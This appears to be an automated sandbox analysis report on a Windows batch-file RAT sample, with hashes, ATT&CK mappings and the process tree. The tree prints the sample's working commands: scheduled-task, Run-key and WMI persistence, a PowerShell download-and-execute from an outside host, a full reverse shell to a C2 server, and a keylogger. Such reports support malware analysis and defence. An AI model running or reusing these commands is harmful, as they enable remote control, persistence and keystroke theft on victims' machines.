4803c24615e7ac6da0a09de20df797dedd5d2d42e0352696501d3398898b249d

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:49

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General

Target
rat_build_153607_014426.bat
Size 4KB
Sample260529-b85phsaw4s
SHA256 4803c24615e7ac6da0a09de20df797dedd5d2d42e0352696501d3398898b249d
MD5 78e92032522522c816cfaa8ce3d171fe
SHA1 44a7816022bfad93b410b0868622451aa92f41a5
SHA512 b2ddf924d98311d7f67b576b94e0240125007810ec3ba1a9c20b7e9e1c5ff3454e6644b5726ddbc2475a6a61ecabbad50ebcd680cb992e016e6468d0e585c601
SSDEEP 96:erIyv6WWieRPLa9AX8qTpj93+/PM5bIqDwgCacyiFgZk8mvlo1Mnt:erB9Wie1G928qL+XMTDw/uiFgkHlfnt
TLSH
T105A1092367A3613055B02658ED373C4C136CD9FB2302C98DFA4ECDE40A4CE83A5656E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_153607.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1792	powershell.exe
4216	powershell.exe
1604	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_153607 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_153607.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1652	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4192	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5112	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3492	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1792	powershell.exe
1792	powershell.exe
4216	powershell.exe
4216	powershell.exe
1604	powershell.exe
1604	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1376	WMIC.exe
Token: SeSecurityPrivilege	1376	WMIC.exe
Token: SeTakeOwnershipPrivilege	1376	WMIC.exe
Token: SeLoadDriverPrivilege	1376	WMIC.exe
Token: SeSystemProfilePrivilege	1376	WMIC.exe
Token: SeSystemtimePrivilege	1376	WMIC.exe
Token: SeProfSingleProcessPrivilege	1376	WMIC.exe
Token: SeIncBasePriorityPrivilege	1376	WMIC.exe
Token: SeCreatePagefilePrivilege	1376	WMIC.exe
Token: SeBackupPrivilege	1376	WMIC.exe
Token: SeRestorePrivilege	1376	WMIC.exe
Token: SeShutdownPrivilege	1376	WMIC.exe
Token: SeDebugPrivilege	1376	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1376	WMIC.exe
Token: SeRemoteShutdownPrivilege	1376	WMIC.exe
Token: SeUndockPrivilege	1376	WMIC.exe
Token: SeManageVolumePrivilege	1376	WMIC.exe
Token: 33	1376	WMIC.exe
Token: 34	1376	WMIC.exe
Token: 35	1376	WMIC.exe
Token: 36	1376	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1376	WMIC.exe
Token: SeSecurityPrivilege	1376	WMIC.exe
Token: SeTakeOwnershipPrivilege	1376	WMIC.exe
Token: SeLoadDriverPrivilege	1376	WMIC.exe
Token: SeSystemProfilePrivilege	1376	WMIC.exe
Token: SeSystemtimePrivilege	1376	WMIC.exe
Token: SeProfSingleProcessPrivilege	1376	WMIC.exe
Token: SeIncBasePriorityPrivilege	1376	WMIC.exe
Token: SeCreatePagefilePrivilege	1376	WMIC.exe
Token: SeBackupPrivilege	1376	WMIC.exe
Token: SeRestorePrivilege	1376	WMIC.exe
Token: SeShutdownPrivilege	1376	WMIC.exe
Token: SeDebugPrivilege	1376	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1376	WMIC.exe
Token: SeRemoteShutdownPrivilege	1376	WMIC.exe
Token: SeUndockPrivilege	1376	WMIC.exe
Token: SeManageVolumePrivilege	1376	WMIC.exe
Token: 33	1376	WMIC.exe
Token: 34	1376	WMIC.exe
Token: 35	1376	WMIC.exe
Token: 36	1376	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4044	WMIC.exe
Token: SeSecurityPrivilege	4044	WMIC.exe
Token: SeTakeOwnershipPrivilege	4044	WMIC.exe
Token: SeLoadDriverPrivilege	4044	WMIC.exe
Token: SeSystemProfilePrivilege	4044	WMIC.exe
Token: SeSystemtimePrivilege	4044	WMIC.exe
Token: SeProfSingleProcessPrivilege	4044	WMIC.exe
Token: SeIncBasePriorityPrivilege	4044	WMIC.exe
Token: SeCreatePagefilePrivilege	4044	WMIC.exe
Token: SeBackupPrivilege	4044	WMIC.exe
Token: SeRestorePrivilege	4044	WMIC.exe
Token: SeShutdownPrivilege	4044	WMIC.exe
Token: SeDebugPrivilege	4044	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4044	WMIC.exe
Token: SeRemoteShutdownPrivilege	4044	WMIC.exe
Token: SeUndockPrivilege	4044	WMIC.exe
Token: SeManageVolumePrivilege	4044	WMIC.exe
Token: 33	4044	WMIC.exe
Token: 34	4044	WMIC.exe
Token: 35	4044	WMIC.exe
Token: 36	4044	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4044	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2184 wrote to memory of 3492	2184	cmd.exe	90
PID 2184 wrote to memory of 5112	2184	cmd.exe	91
PID 2184 wrote to memory of 1376	2184	cmd.exe	92
PID 2184 wrote to memory of 4044	2184	cmd.exe	93
PID 2184 wrote to memory of 4568	2184	cmd.exe	94
PID 2184 wrote to memory of 4192	2184	cmd.exe	96
PID 2184 wrote to memory of 1652	2184	cmd.exe	100
PID 2184 wrote to memory of 1792	2184	cmd.exe	101
PID 2184 wrote to memory of 4216	2184	cmd.exe	102
PID 2184 wrote to memory of 1604	2184	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_153607_014426.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2184
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_153607" /tr "C:\Users\Admin\AppData\Local\Temp\_153607.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3492
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_153607" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_153607.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:5112
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_153607", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1376
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_153607", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_153607.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4044
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_153607.txt
  2⤵
  PID:4568
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4192
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_153607.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1604

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e528471db68a1bd206f62d80602e3890714fd2fad96a857e58cb6812943f46eb
MD5 e57414bc187ac792c5792db005e00622
SHA1 405bc810849026dfacbccf50e85e8c4e26e24bf0
SHA512 8fa8ae597270d40f521c2b2102fefe67ce3f2a4e7aa0ba64cc8e3f9f32f2d818041ef46e60ce9c7ba72939560e58f25af4462b59193d76527fa4f19674f97ea1
TLSH
T16E117A27F39CC921CC96153A409D9C1172B683D7419EDF9F6FC4D214A07F584CB71194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6707dad5d556127d7cf4736920f92d425d9cef7f5f97827d0c4c55b381859907
MD5 f1f076cce162271e46c88b639c2f3b39
SHA1 396fbbffab326e14ea9662946acdde525f4a906d
SHA512 b5f3226c4ad4fe2ff5d17de7210cca1d2b9f18c5841118ace653a638d3d279c8120811910436f6ed834410f186e38e295f894c970b2777103a1c3f84794a5da5
TLSH
T197115727B39C89A1CC96153A409D9C1172B683D740AEDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_ukqbaami.yyv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ukqbaami.yyv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1792-3-0x000001F8D42C0000-0x000001F8D42E2000-memory.dmp

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